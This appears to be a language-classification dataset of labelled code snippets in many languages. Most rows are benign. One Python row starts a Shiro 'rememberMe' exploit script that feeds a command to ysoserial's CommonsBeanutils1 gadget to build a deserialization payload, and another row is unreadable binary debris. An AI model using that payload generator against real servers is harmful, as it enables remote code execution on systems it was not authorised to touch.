content stringlengths 2 6.21k | label stringclasses 16
values |
|---|---|
349ea: @ 22349ea :thumb
mov r0, #0xf3
lsl r0, r0, #2
ldr r0, [r5, r0]
cmp r0, r7
beq branch_2234a10
ldr r0, [pc, #0x30] @ 0x2234a28, (=0xe884)
ldr r1, [r6, r0]
mov r0, #0x3d
lsl r0, r0, #4
ldr r0, [r5, r0]
cmp r1, r0
bne branch_2234a10
mov r0, #0xf2
lsl ... | Assembly |
#include <sys/errno.h>
#include <riscv/asm.h>
#include <riscv/riscvreg.h>
#include <riscv/vm_param.h>
#include "assym.h"
#if KASAN
#define bcopy __real_bcopy
#endif
/*
* Enable permit Supervisor User Memory access (SUM).
*/
.macro enter_user_access tmp
#if TRAP_USER_ACCESS
REG_LI \tmp, SSTATUS_SUM
csrs sstatus, ... | Assembly |
null | { email: string }
error: null | Error
}>)
if (!tokenVerificationResult.success || tokenVerificationResult.error) {
console.error(tokenVerificationResult.error)
console.error(`Failed to verify token! It was probably invalid: ${token}`)
res.sendStatus(401)
}
try {
const user = await ... | Typescript |
move.w #3,-(a7) ;VsetMode option
pea $3a0000
pea $3a0000
move.w #5,-(a7)
trap #14
lea 14(a7),a7
clr.l -(sp)
trap #1
data
DSPbin.start
... | Assembly |
h')
double? get volume1mth;
/// The volume in USD in the last 1 month.
@BuiltValueField(wireName: r'volume_1mth_usd')
double? get volume1mthUsd;
/// The price.
@BuiltValueField(wireName: r'price')
double? get price;
/// The symbol identifier in the exchange.
@BuiltValueField(wireName: r'symbol_id_e... | Dart |
raid" and Cell.vars.groupType == "raid" then
C_Timer.After(0.5, function()
local difficultyID, difficultyName = select(3, GetInstanceInfo()) --! can't get difficultyID, difficultyName immediately after entering an instance
Cell.vars.inMythic = difficultyID == 16
... | Lua |
ds %f17, %f0, %f27
.word 0xbded4000 ! 5357: RESTORE_R restore %r21, %r0, %r30
T2_hwint_733:
!$EV trig_pc_d(2,expr(@VA(.MAIN.T2_hwint_733), 16, 16)) -> intp(2, 0, 6)
.word 0xb734e001 ! 5364: SRL_I srl %r19, 0x0001, %r27
.word 0xbfa549e0 ! 5365: FDIVq dis not found
T2_hwint_734:
!$EV trig_pc_d(2,expr(@VA(.MAIN.T2... | Assembly |
using Falko.Talkie.Interceptors;
using Falko.Talkie.Signals;
namespace Falko.Talkie.Pipelines.Intercepting;
public static partial class SignalInterceptingPipelineBuilderExtensions
{
public static ISignalInterceptingPipelineBuilder<TSignal> DistinctUntilChanged<TSignal, TValue>
(
this ISignalIntercepti... | C# |
ate with private key located in {:?}", key_path);
let mut f = fs::File::open(key_path.to_owned()).unwrap();
let mut key = String::new();
f.read_to_string(&mut key).expect("unable to read SSH key from file");
f.seek(io::SeekFrom::Start(0)).unwrap();
let mut ... | Rust |
MMEEEEd': 'EEEE, d MMMM', // MONTH_WEEKDAY_DAY
'QQQ': 'QQQ', // ABBR_QUARTER
'QQQQ': 'QQQQ', // QUARTER
'y': 'y', // YEAR
'yM': 'M/y', // YEAR_NUM_MONTH
'yMd': 'd/M/y', // YEAR_NUM_MONTH_DAY
'yMEd': 'EEE, M/d/y', // YEAR_NUM_MONTH_WEEKDAY_DAY
'yMMM': 'MMM y', // Y... | Dart |
nested_obj, nested_key, nested_value_type
)
mock_obj[key] = [nested_obj]
else: # Ensure the parent key holds a list of objs
mock_obj = self._check_obj_key_value_type(mock_obj, key, value_type)
return mock_obj
def _mock_schemas_from_web(s... | Python |
()> {
write!(out, "{}", " ".repeat(depth))?;
let start = ass.int_bounds(task.start).0;
write!(out, "{} {}", start, format_partial_name(&task.task, ass)?)?;
writeln!(out, " {}", format_atoms(&task.task, ass)?)?;
for &(i, ch) in chronicles.iter() {
match ch.origin {
Chroni... | Rust |
19 2.25806C12.986 2.50214 12.986 2.89786 12.7419 3.14194L11.967 3.91682C13.1595 5.07925 13.9 6.70314 13.9 8.49998C13.9 12.0346 11.0346 14.9 7.49998 14.9C3.96535 14.9 1.09998 12.0346 1.09998 8.49998C1.09998 5.13362 3.69904 2.3743 6.99998 2.11922V1H5.99998C5.72383 1 5.49998 0.776142 5.49998 0.5ZM2.09998 8.49998C2.09998 5... | JavaScript |
ply.NextSpeechTime = curTime + dur + delay
ply.LastSpeechTime = curTime
return true
end
function GM:InitializeGlobalSpeechContext()
self.EnemyClassEncounters = {}
end
function GM:InitializePlayerSpeech(ply)
ply.LastSpeechUpdate = CurTime()
ply.NextSpeechTime = CurTime()
ply.EnemyInSight = fal... | Lua |
-grid/src/scss/ax5grid_variables";
@import "../../../plugins/ax5ui-grid/src/scss/ax5grid";
$ax5combobox-label-padding: 0px 3px;
$ax5combobox-default-base-color: #444;
$ax5combobox-default-theme-color: #D8D8D8;
$ax5combobox-default-hover-type: darken, 0%;
@import "../../../plugins/ax5ui-combobox/src/scss/ax5combobox_va... | CSS |
} else {
// destProduct 뒤에 상품이 있는 경우
srcProduct.lexoRank = srcNewRank = getRankBetween(
destProduct.lexoRank,
products[destIdx + 1].lexoRank
);
}
} else {
if (de... | Typescript |
mapIndex);
pathMap[mapIndex] = new MyGUI::Path{name, Eigen::Vector3d(1, 0, 0)};
traj_win.add_object(pathMap[mapIndex]);
}
if (lastMapIndex_path != mapIndex) {
if (hideInactiveMaps) {
pathMap[lastMapIndex_path]->clear();
}
lastMa... | C++ |
message.chat.id,
missing_languages
and ('The following locales are languages my users speak that I do not currently have a translation file for:\n\n' .. missing_languages .. '\n\nIf you speak any of these languages well, and you are willing to volunteer your time into contributing to the development of ... | Lua |
f _distances;
char out_of_face=0;
CLASSIFY_TRI_BY_FACE(tri1->m_vertices[0],tri1->m_vertices[1],tri1->m_vertices[2],tri2->m_planes.m_planes[0],out_of_face);
if(out_of_face==1) return 0;
CLASSIFY_TRI_BY_FACE(tri2->m_vertices[0],tri2->m_vertices[1],tri2->m_vertices[2],tri1->m_planes.m_planes[0],out_of_fa... | C++ |
FuncName = "chaincode"
chainCmdDes = "Operate a chaincode: install|instantiate|invoke|package|query|signpackage|upgrade|list."
)
var logger = flogging.MustGetLogger("chaincodeCmd")
// XXX This is a terrible singleton hack, however
// it simply making a latent dependency explicit.
// It should be removed along with... | Go |
ted, actual); // a == b
// assertNotEqual(unwanted, actual); // a != b
// assertComparativeEquivalent(expected, actual); // abs(a - b) == 0 or (!(a > b) && !(a < b))
// assertComparativeNotEquivalent(unwanted, actual); // abs(a - b) > 0 or ((a > b) || (a < b))
// assertLess(upperBound, actu... | C++ |
tor,
}
impl<'a> MapIterator<'a> {
pub fn new(map: Term<'a>) -> Option<MapIterator<'a>> {
let env = map.get_env();
unsafe { map::map_iterator_create(env.as_c_arg(), map.as_c_arg()) }.map(|iter| {
MapIterator {
env: env,
iter: iter,
}
})... | Rust |
godta deras ånger"
},
{
"surah_number": 9,
"verse_number": 103,
"content":
"Tag då emot något av dem som offergåva [Muhammad]; så renar du dem [från synd] och hjälper dem att växa [i rättfärdighet]. Och be för dem - dina böner ger dem trygghet och tröst; Gud hör allt, vet allt"
},
{
"su... | Dart |
ile, err := os.OpenFile("./out/result.yuv", os.O_CREATE|os.O_RDWR, 0777)
if err != nil {
fmt.Println("open file failed,err:", err)
return
}
w := codecCtx.Width
h := codecCtx.Height
//=========================== 分配AVPacket结构体 ===============================//
i := 0
pkt = libavcodec.AvPacketAlloc()... | Go |
nce the process started) and puts it in edx:eax.
__asm
{
rdtsc;
mov timehi, edx;
mov timelo, eax;
}
return ((uint64)timehi << 32) + (uint64)timelo;
}
#elif defined(G3D_LINUX)
inline uint64 System::getCycleCount() {
... | C |
The native name of the language.
*/
fun getNativeLanguageName(language: Language): String {
return when (language) {
Language.ENGLISH -> "English"
Language.PERSIAN -> "فارسی"
Language.SPANISH -> "Español"
Language.ARABIC -> "العربية"
}
}
... | Kotlin |
tch variant {
PWRSEL_A::PWRSEL_0 => 0,
PWRSEL_A::PWRSEL_1 => 1,
PWRSEL_A::PWRSEL_2 => 2,
PWRSEL_A::PWRSEL_3 => 3,
}
}
}
#[doc = "Reader of field `PWRSEL`"]
pub type PWRSEL_R = crate::R<u8, PWRSEL_A>;
impl PWRSEL_R {
#[doc = r"Get enumerated values variant"... | Rust |
max_attn_len_tensor = None,"
"Tensor? min_full_attn_seq_len_tensor = None,"
"int num_groups = 1"
") -> Tensor");
m.impl(
"hstu_mha",
torch::dispatch(c10::DispatchKey::CUDA, TORCH_FN(cuda_hstu_mha)));
m.impl(
"hstu_mha",
torch::dispatch(c10::DispatchKey::CPU, TORCH_FN(hstu_... | C++ |
rs.words();
var answer = [""];
deepEqual(result, answer);
// no error checks needed
});
test("testCopy()", function() {
var rt = new RiText("hello", 100, 270);
rt.fill(101, 102, 103, 104);
rt.showBounds(true);
var rt2 = rt.copy();
equal(rt.x, rt2.x);
equal(rt.y, rt2.y);
... | JavaScript |
"surah_number": 5,
"verse_number": 41,
"content":
"হে রসূল, তাদের জন্যে দুঃখ করবেন না, যারা দৌড়ে গিয়ে কুফরে পতিত হয়; যারা মুখে বলেঃ আমরা মুসলমান, অথচ তাদের অন্তর মুসলমান নয় এবং যারা ইহুদী; মিথ্যাবলার জন্যে তারা গুপ্তচর বৃত্তি করে। তারা অন্যদলের গুপ্তচর, যারা আপনার কাছে আসেনি। তারা বাক্যকে স্বস্থান থ... | Dart |
IfNull: fixed_arity(sa.func.coalesce, 2),
# boolean reductions
ops.Any: unary(sa.func.bool_or),
ops.All: unary(sa.func.bool_and),
ops.NotAny: unary(lambda x: sa.not_(sa.func.bool_or(x))),
ops.NotAll: unary(lambda x: sa.not_(sa.func.bool_and(x))),
# strings
ops.Sub... | Python |
tTime: LocalDateTime = LocalDateTime.now(),
eventContent: @Composable (event: Event<T>) -> Unit = { WeekViewEvent(event = it) }
) {
// OPTIMIZE: Find a way to arrange events before layout, but calculate minEventWidth to determine maxSimultaneous
// TODO: Display indicator if there are more events than can be display... | Kotlin |
CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* @test
* @modules java.base/jdk.internal.org.objectweb.asm:+open java.base/jdk.internal.org.objectweb.asm.util:+open
*
* @summary converted from VM Testbase vm/runtime/defmeth/scenarios/DefaultVsAbstract_v... | Java |
flesta fall är denna \"blockbelöning\" betydligt högre än användarnas transaktionsavgifter, och det är här miners tjänar mest pengar. Blockbelöningen används för att hålla miners finansiellt investerade i kedjans säkerhet, men också för att få nya mynt i omlopp.</p>\n\n<p>I de flesta kryptovalutaprotokoll är denna blo... | Dart |
672, 3712, 3713, 3716,
3717, 3720, 3730, 3733, 3766, 3778, 3788, 3798, 3808, 3818,
3828, 3840, 3841, 3844, 3871, 3900, 3938, 3946, 3954, 3963,
3974, 3985, 3988, 4002, 4027, 4066, 4091, 4130, 4149, 4166,
4174, 4184, 4185, 4188, 4202, 4203, 4206, 4207, 4208, 4211,
4227, 4... | C++ |
"attackInterval":1,
"moveSpeed":1.3,
"range":1,
"cost":1,
"starsRequire":3
},
{
"name":"巫师",
"life":1,
"damage":1.8,
"attackInte... | Typescript |
ENGLAND. GOT THAT? "
DC.B " HAVE YOU GOT POV 125? "
DC.B " DID YOU READ THE EXTENDED SCROLL TEXT? "
DC.B " YES ONCE IT SAYS 'WRAP' IT CONTINUES - GO READ IT... "
DC.B " WELL IT'S JUST PAST MIDNIGHT AND I'M TIRED "
DC.B "SO I... | Assembly |
050 }, -- Steelskin, Qiang's Impervious Shield
{ 22, "ac6722" },
{ 23, "ac6687" },
},
},
{ --MSVElegon
EncounterJournalID = 726,
[NORMAL_DIFF] = {
{ 1, 89822 }, -- Galaxyfire Girdle
{ 2, 86139 }, -- Orbit... | Lua |
ject[]{Integer.valueOf(i2), Long.valueOf(j), Integer.valueOf(i), str, str2, str3}));
return i2;
}
public int stopDcdn(long j, int i) {
int i2 = 9900;
increRefCount();
if (mDownloadManagerState == XLManagerStatus.MANAGER_RUNNING && this.mLoader != null) {
i2 = this.mL... | Java |
#include "ULUS10536_MYTHREAD-MAIN.BIN.h"
void FUN_089c6bfc(void)
{
int iVar1;
undefined4 uVar2;
int iVar3;
int iVar4;
int iVar5;
iVar1 = DONE_Get_DAT_08AC5874();
if (*(int *)(iVar1 + 0x18) == 0) {
uVar2 = DONE_GetPtr_DAT_08AC51F8();
iVar3 = FUN_089bcb80(uVar2,0x1a0000,"c:/bullets/bkn2pspsys/s... | C |
toEqual([2, 3, 4, 5, 15, 19, 26, 27, 36, 38, 44, 46, 47, 48, 50])
})
it('should return empty array if empty or one element array is passed', function () {
expect(selectionSort([])).toEqual([])
expect(selectionSort([1])).toEqual([1])
})
})
const n1: Array<number>=[];
const n2: Array<number>=[];
var table:... | Typescript |
SCIF_RXI],
s->intc.irqs[SCIF_TXI],
NULL,
s->intc.irqs[SCIF_BRI]);
tmu012_init(sysmem, 0x1fd80000,
TMU012_FEAT_TOCR | TMU012_FEAT_3CHAN | TMU012_FEAT_EXTCLK,
s->periph_freq,
s->intc.irqs[TMU0],
s->intc.irqs[TMU1],
s->intc.irqs[TMU2_TUNI],
s->intc.... | C |
ather list.
old-location: netvista\netprocesssglist.htm
tech.root: netvista
ms.date: 05/02/2018
keywords: ["NDIS_PROCESS_SG_LIST callback function"]
ms.keywords: NDIS_PROCESS_SG_LIST, NDIS_PROCESS_SG_LIST callback, NetProcessSGList, NetProcessSGList callback function [Network Drivers Starting with Windows Vista], ndis/... | Markdown |
UrlClassifierCommon::SetTrackingInfo(aChannel, aList, aHashes);
UrlClassifierCommon::AnnotateChannel(
aChannel, flags,
nsIWebProgressListener::STATE_LOADED_CRYPTOMINING_CONTENT);
return NS_OK;
}
NS_IMETHODIMP
UrlClassifierFeatureCryptominingAnnotation::GetURIByListType(
nsIChannel* aChannel, ns... | C++ |
(INFO) << ClientSentMessagesPerRpcCumulative;
LOG(INFO) << ClientServerLatencyCumulative;
LOG(INFO) << ClientStartedRpcsCumulative;
LOG(INFO) << ClientTransparentRetriesCumulative;
LOG(INFO) << ClientTransparentRetriesPerCallCumulative;
LOG(INFO) << ServerCompletedRpcsCumulative;
LOG(INFO) << ServerReceive... | C++ |
_OK;
nsCOMPtr<nsIMutableArray> argsArray = do_CreateInstance(NS_ARRAY_CONTRACTID);
if (!argsArray)
return NS_ERROR_FAILURE;
// pass in the array of folders with unread messages
nsCOMPtr<nsISupportsInterfacePointer> ifptr = do_CreateInstance(NS_SUPPORTS_INTERFACE_POINTER_CONTRACTID, &rv);
NS_ENSURE_SUCCE... | C++ |
[0]),
("1,", [1]),
("22,23", [22, 23]),
("80,443,443,", [80, 443, 443]),
(65535, [65535]),
])
def test_ok__valid_ports_list(arg: Any, retval: list[int]) -> None:
assert valid_ports_list(arg) == retval
@pytest.mark.parametrize("arg", ["test", "13,test", None, 1.1])
def tes... | Python |
yte)(b / 16), (byte)(b % 16) });
// Group elements by value
var groupedElements = data.GroupBy(b => b);
// Create huffman nodes out of value groups
return groupedElements.Select(group => new HuffmanTreeNode
{
Frequency = group.Count(),
... | C# |
er.y
val d1 = Math.sqrt((center.y * center.y).toDouble())
val d2 = Math.sqrt((x2 * x2 + y2 * y2).toDouble())
if (touch.x >= center.x) {
angle = Math.toDegrees(Math.acos((-center.y * y2) / (d1 * d2)))
} else
angle = 360 - Math.toDegrees(Math.acos((-center.y * y2) /... | Kotlin |
cs.length) {
logTSDiagnostics(diagnostics);
return Promise.resolve(false);
}
const copies: [string, string][] = [];
if (config.config != Config.Debug) {
copies.push([loaderPath, 'build/src/lib/loader.js']);
}
if (config.config == Config.Competition) {
copies.push([minShaderDe... | Typescript |
les nouveaux champs à PostLive
extension PostLiveExtension on PostLive {
bool? get earningsWithdrawn {
// Cette propriété devrait être récupérée depuis Firestore
// Pour l'instant, on retourne null
return null;
}
// Méthode pour mettre à jour les données depuis un snapshot
PostLive copyWithEarning... | Dart |
es, int m, int n);
]]
local libhungarian = ffi.load("libhungarian")
local m = cost:size(1)
local n = cost:size(2)
local cmin = cost:min()
local cmax = cost:max()
local icost = cost:clone():add(-cmin):mul(1 / (cmax - cmin))
icost = icost:mul(100000):int()
local result = torch.IntTensor(m)... | Lua |
mbo = (int)((timing - FirstJudgeTime) / TimeIncrement) + 1;
return Mathf.Clamp(combo, 0, TotalCombo);
}
public override void Assign(ArcEvent newValues)
{
base.Assign(newValues);
LongNote e = newValues as LongNote;
EndTiming = e.EndTiming;
... | C# |
val range = BlockPos.betweenClosed(-2, -2, -2, 2, 2, 2)
for (pos in range) {
assertTrue(pos.x >= -2)
assertTrue(pos.x <= 2)
assertTrue(pos.y >= -2)
assertTrue(pos.y <= 2)
assertTrue(pos.z >= -2)
assertTrue(pos.z <= 2)
}
}
... | Kotlin |
from Dart SDK
class _SystemHash {
_SystemHash._();
static int combine(int hash, int value) {
// ignore: parameter_assignments
hash = 0x1fffffff & (hash + value);
// ignore: parameter_assignments
hash = 0x1fffffff & (hash + ((0x0007ffff & hash) << 10));
return hash ^ (hash >> 6);
}
static ... | Dart |
in="primary" '+(t.hide?"":"checked")+' title="'+v.escape(f("<div>"+(t.fieldTitle||t.title||t.field)+"</div>").text())+'" lay-filter="LAY_TABLE_TOOL_COLS"></li>')}),a.join("")),done:function(){i.on("checkbox(LAY_TABLE_TOOL_COLS)",function(e){var e=f(e.elem),t=this.checked,a=e.data("key"),i=o.col(a),l=i.hide,e=e.data("pa... | JavaScript |
EGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
*/
public class SkinConverter {
public static void convert64x32to64x64(ImageData skinIn, ImageData skinOut) {
copyRawPixels(skinIn.pixels, skinOut.pixels, 0, 0, 0, 0, 64, 32, 64,... | Java |
# -*- coding: utf-8 -*-
import requests
import os
import sys
import uuid
import base64
import subprocess
import argparse
from Crypto.Cipher import AES
#get a rememberme payload
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout... | Python |
})
).codeToThemedTokens(
`// This is $x^2$. A raw backslash: \\. And so on$\\cdots$
const name = "Leandro Facchinettti";`,
"ts"
),
{ mathescape: true }
)
).toMatchInlineSnapshot(`
"\\\\begin{Verbatim}[commandchars=\\\\\\\\\\\\{\\\\},codes={\\\\catcode\`\\\\$=3\\\\c... | Typescript |
if (WTSEnumerateSessionsA(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &pInfos, &count))
{
for (DWORD i = 0; i < count; i++)
{
auto info = pInfos[i];
if (info.State == WTSActive)
{
if (info.pWinStationName == NULL)
... | C++ |
*/ or $t0, $t7, $t9
/* 093C90 8010B220 A4A80000 */ sh $t0, ($a1)
/* 093C94 8010B224 8FBF0014 */ lw $ra, 0x14($sp)
.L8010B228_ovl2:
/* 093C98 8010B228 27BD0018 */ addiu $sp, $sp, 0x18
/* 093C9C 8010B22C 00801025 */ move $v0, $a0
/* 093CA0 8010B230 03E00008 */ jr $ra
/* 093CA4 8010B234 00000000 */ n... | Assembly |
3ebf5 -1px 0 0px 0 inset, #e3ebf5 1px 0 0px 0 inset;box-shadow:#e3ebf5 0 1px 0px 0 inset, #e3ebf5 0 -1px 0px 0 inset, #e3ebf5 -1px 0 0px 0 inset, #e3ebf5 1px 0 0px 0 inset}.x-btn-group-header-default-framed{margin:2px 2px 0 2px}.x-btn-group-header-body-default-framed{padding:1px 0;background:#c2d8f0;-moz-border-radius-... | CSS |
::io::{AsyncRead, AsyncWrite};
use tracing::{debug, trace, warn};
use super::{ping, PipeToSendStream, SendBuf};
use crate::body::HttpBody;
use crate::common::exec::ConnStreamExec;
use crate::common::{date, task, Future, Pin, Poll};
use crate::ext::Protocol;
use crate::headers;
use crate::proto::h2::ping::Recorder;
use... | Rust |
kDirPath = relativeVueDirPath.split('/').map(_=>'..').join('/');
let relativeLinkPath=`${backDirPath}/${relativeDirPath}/${fileName}`
//entry
let entryDirName='entryjs';
let entryPath=linkedVuePath.replace(linkedVueDirName,entryDirName).replace('/Pages','');
let entryDirPath=ent... | Typescript |
data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e");
}
.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before {
background-color: rgba(69, 130, 236, 0.5);
}
.custom-switch {
padding-le... | CSS |
iate
jalr.hb $31 # CHECK: :[[@LINE]]:9: error: source and destination must be different
jalr.hb $31, $31 # CHECK: :[[@LINE]]:9: error: source and destination must be different
pref -1, 255($7) # CHECK: :[[@LINE]]:14: error: expected 5-bit unsigned immediate
pref 32, 255(... | Assembly |
tmp = tmp.next
except (crash.error, IndexError):
break
def print_namespace(ns, client_server):
print("Namespace: (ldlm_namespace) %#x, %s\t(rc: %d, side: %s)\tpoolcnt: %d unused: %d" % \
(Addr(ns), ll.obd2str(ns.ns_obd), ns.ns_bref.counter,
client_server, ns.ns_pool.... | Python |
== 0;
}
protected toolMissingMessage():string{
return `Docker is missing from the current environment. Please check https://docs.docker.com/engine/install/`;
}
async ps(machineEnvVars: DockerMachineEnv, ...fields: (keyof DockerPsResult)[]): Promise<DockerPsResult[]> {
await this.ensurePresent();
... | Typescript |
# 导入数据excel1
# 第一题最优路径
node = [0, 503, 294, 91, 607, 540, 250, 340, 277, 612]
shape = 613
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
from mpl_toolkits.mplot3d import Axes3D
excel2 = pd.read_excel("F:/第十六届华为杯数模比赛/试题/F题/2019年中国研究生数学建模竞赛F题/附件1:数据集1-终稿.xlsx")
coordinates_2 = excel2.values[1:, 1... | Python |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
main.py: Main program for the Python Vehicle Simulator, which can be used
to simulate and test guidance, navigation and control (GNC) systems.
Reference: T. I. Fossen (2021). Handbook of Marine Craft Hydrodynamics and
Motion Control. 2nd edition, John Wiley & Sons... | Python |
H H+ HH9HGHtH HH SHHHHt
HCH H{ 7 HC [H AVAUIATU1SLHE1HHJ(LLEHH`IZ 1HHHHH9r HH)HAtII$hIZ II
u1[]A\A]A^1AWAVIAUATL USHIE1HI I; 5 A D$ JZ T$
H JZ JZ <T$t<t" L u.?1҉Lk uD$
A A D$=A A A A B|
tBLI HLuL҉LtatvH|$FZ + E1A M9... | Python |
19, 0, 4, 9, 0]).toDate();
const endMoment = moment(startMoment)
.add(5, 'hours')
.toDate();
let event: InfoScreenEvent;
const reminder = 'Svein skal utover';
let user: InfoScreenUser;
beforeAll(() => {
event = createInfoScreenEvent('Lyngbøtunet', startMoment, endMoment);
event.reminder = remi... | Typescript |
action(TaiwaAction.Root)
onClick { onQualitySelected?.invoke(quality) }
}
}
}
}
nested(speedAnchor) {
backAction(TaiwaAction.Root)
header {
toolbar {
... | Kotlin |
bel',
from_id='a',
to_id='b',
relationship_type='DUMMY_TYPE',
properties={'x': 1, 'y': 2},
)
sub_graph = graph_repository.get_sub_graph(
label='DummyLabel',
start_id='a',
)
assert len(sub_graph.nodes) == 2
assert len(sub_graph.relationships) == 1
a... | Python |
ef.startsWith('/api/')) {
// API 请求不拦截
return;
}
e.preventDefault();
history.pushState(null, '', href);
document.getElementById('current-path').textContent = href;
}
});
</script>
</body>
</ht... | Python |
1,arg2,arg3,arg4,arg5,arg6);
}
@Override
public int LAPACKE_slag2d(int arg0, int arg1, int arg2, FloatBuffer arg3, int arg4,
DoubleBuffer arg5, int arg6) {
return openblas.LAPACKE_slag2d(arg0,arg1,arg2,arg3,arg4,arg5,arg6);
}
@Override
public int LAPACKE_slag2d(int arg0, int arg1, int arg2, floa... | Java |
, 0x3F800000 # 0.000000
/* AD0108 80058F68 44812000 */ mtc1 $at, $f4
/* AD010C 80058F6C 46803220 */ cvt.s.w $f8, $f6
/* AD0110 80058F70 E7A40060 */ swc1 $f4, 0x60($sp)
/* AD0114 80058F74 1000003A */ b .L80059060
/* AD0118 80058F78 460A4503 */ div.s $f20, $f8, $f10
.L80058F7C:
/* AD011C 80058F7C 11000026 */ ... | Assembly |
0x30(r3)
/* 803AC50C 003A816C 48 00 67 31 */ bl func_803B2C3C
/* 803AC510 003A8170 48 00 00 18 */ b lbl_803AC528
lbl_803AC514:
/* 803AC514 003A8174 80 83 00 30 */ lwz r4, 0x30(r3)
/* 803AC518 003A8178 48 00 67 25 */ bl func_803B2C3C
/* 803AC51C 003A817C 98 7B 23 C2 */ stb r3, 0x23c2(r27)
/* 803AC520 003A8180 7F 6... | Assembly |
as a feisty bird!",
CHESSPIECE_CRABKING = "He was better at sinking than being a sea king.",
CHESSPIECE_TOADSTOOL = "A fine piece of art, especially the warts.",
CHESSPIECE_STALKER = "No more rattlin' bones.",
CHESSPIECE_KLAUS = "A stagnant stag.",
CHESSPIECE_BEEQUEEN = "Stationa... | Lua |
p_real := p2^.rast.Items[k - 1];
r_av := r_av + p_real^;
end;
end;
r_av := r_av / (form1.ComboBox1.ItemIndex + 1);
r_avav := r_avav + r_av;
Count := Count + 1;
end;
end;//while
r_avav := r_avav / Count;
//выв... | Typescript |
""""Datetime utilities"""
from datetime import date, datetime, time, timedelta
class PeakPeriodUtils:
"""Peak Period Utils"""
def __init__(self, eco_start_time: datetime, eco_end_time: datetime) -> None:
"""Init"""
self._eco_start_time = eco_start_time
self._eco_end_time = eco_end_ti... | Python |
from django.contrib.contenttypes.models import ContentType
from django.contrib.postgres.fields import ArrayField
from django.contrib.postgres.search import SearchVectorField
from django.db import models
from polymorphic.models import PolymorphicModel
from wyszukiwarka.managers import (
SearchableManager,
Sear... | Python |
int wasAlpha = paint.getAlpha();
int newAlpha = (int) (action.getAlpha() * alphaFraction1 * wasAlpha);
paint.setAlpha((int) (newAlpha * (radialGradient != null ? 0.1f : 1f)));
canvas.drawRoundRect(AndroidUtilities.rectTmp, r, r, paint);
... | Java |
.oracle.com if you need additional information or have any
* questions.
*/
/*
* @test
* @bug 8189782
* @summary Test for isSupportedOption
* @modules java.compiler
* jdk.compiler
* @run main IsSupportedOptionTest
*/
import javax.tools.JavaCompiler;
import javax.tools.ToolProvider;
/**
* Tests for ... | Java |
ort strlen; /* strlen(item) */
short user_colors; /* colors were specified */
} MenuItem;
typedef struct MenuRoot
{
struct MenuItem *first; /* first item in menu */
struct MenuItem *last; /* last item in menu */
struct MenuRoot *prev; /* previous root menu if pull right */
struct MenuRoot *next; ... | C |
`m()` is called exactly once.
/// * `verify(mock.m()).called(greaterThan(2))` asserts that `m()` is called
/// more than two times.
///
/// To assert that a method was called zero times, use [verifyNever].
void called(dynamic matcher) {
if (!_testApiMismatchHasBeenChecked) {
// Only execute the c... | Dart |
}
import 'dart:js_interop';
import 'dart:js_interop_unsafe';
import 'dart:math';
import 'package:google_maps/google_maps.dart';
import 'package:web/web.dart';
late Map map;
final mapStyle = <MapTypeStyle>[
MapTypeStyle()
..featureType = 'all'
..elementType = 'all'
..stylers = [
{'visibility': 'of... | Dart |
(probabilities, iterable2dAlmostEqualTo(expected, 1e-3));
expect(probabilities.dtype, dtype);
});
});
}
testSoftmaxLinkFunction(const SoftmaxLinkFunction(), DType.float32);
testSoftmaxLinkFunction(const SoftmaxLinkFunction(), DType.float64);
}
import 'dart:math';
import 'package:ml_algo/src/ma... | Dart |
CorrectionProducerContext context,
}) => MockCorrectionProducer();
var lintCode = LintCode('test_rule', 'Test rule.');
expect(registeredFixGenerators.lintProducers[lintCode], null);
registeredFixGenerators.registerFixForLint(lintCode, generator);
expect(
registeredFixGenerators.lintProducers... | Dart |
ap ETH Quanto"],a.exports["#BITCOKE:LTCUSD-symbol-description"]=["Swap LTC Quanto"],a.exports["#TVC:CA10-symbol-description"]=["Bon Kerajaan Kanada, 10 YR"],a.exports["#TVC:CA10Y-symbol-description"]=["Hasil Bon Kerajaan Kanada 10 Tahun"],a.exports["#TVC:ID10Y-symbol-description"]=["Hasil Bon Kerajaan Indonesia 10 Tahu... | JavaScript |
THOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package ai.tock.bot.connector.messenger.model
import ai.tock.bot.connector.ConnectorMessage
import ai.tock.bot.connector.ConnectorType
imp... | Kotlin |
assembly?
Chisel is a fully-functional Solidity REPL, allowing you to write, execute, and debug Solidity directly in the command line.
Once you finish testing, Chisel even lets you export your code to a new solidity file!
In this sense, Chisel even serves as a Foundry script generator.
## Feature Completion
[soli... | Markdown |
事看起来并不是单纯陷入幻觉这么简单……",
typewriter = {
speed = 0.05,
speedUp = 0.01
},
painting = {
alpha = 0.3,
time = 1
}
}
}
} | Lua |
Use Tracking References in C++/CLI"
title: "How to: Use Tracking References in C++/CLI"
ms.date: "11/04/2016"
helpviewer_keywords: ["CLR types, passing by reference"]
ms.assetid: d91e471c-34ff-4786-9e0d-c6db0494b946
---
# How to: Use Tracking References in C++/CLI
This article shows how to use a tracking reference (%... | Markdown |
en,
this.barangMasuk,
this.barangKeluar,
this.createdAt,
this.isSynced = true,
});
Map<String, dynamic> toJson() {
return <String, dynamic>{
'id': id,
'nama': nama,
'code': code,
'deskripsi': deskripsi,
'jumlahBarang': jumlahBarang,
'quantity': quantity,
... | Dart |
BAR_WIDTH, BAR_HEIGHT, WHITE);
draw_rectangle(game.ball.x, game.ball.y, BALL_SIZE, BALL_SIZE, WHITE);
let t = format!("{} {}", game.p1.score, game.p2.score);
let d = macroquad::text::measure_text(&t, None, 30, 1.0);
draw_text(&t, w / 2f32 - d.width / 2f32, h - d.height / 2f32, 3... | Rust |
.hex()
Q_compressed_hexstring2 = " " + Q_compressed_hexstring + " "
Q_compressed_hexstring3 = ("03" if (Q[1] & 1) else "02") + " " + x_Q_bytes.hex()
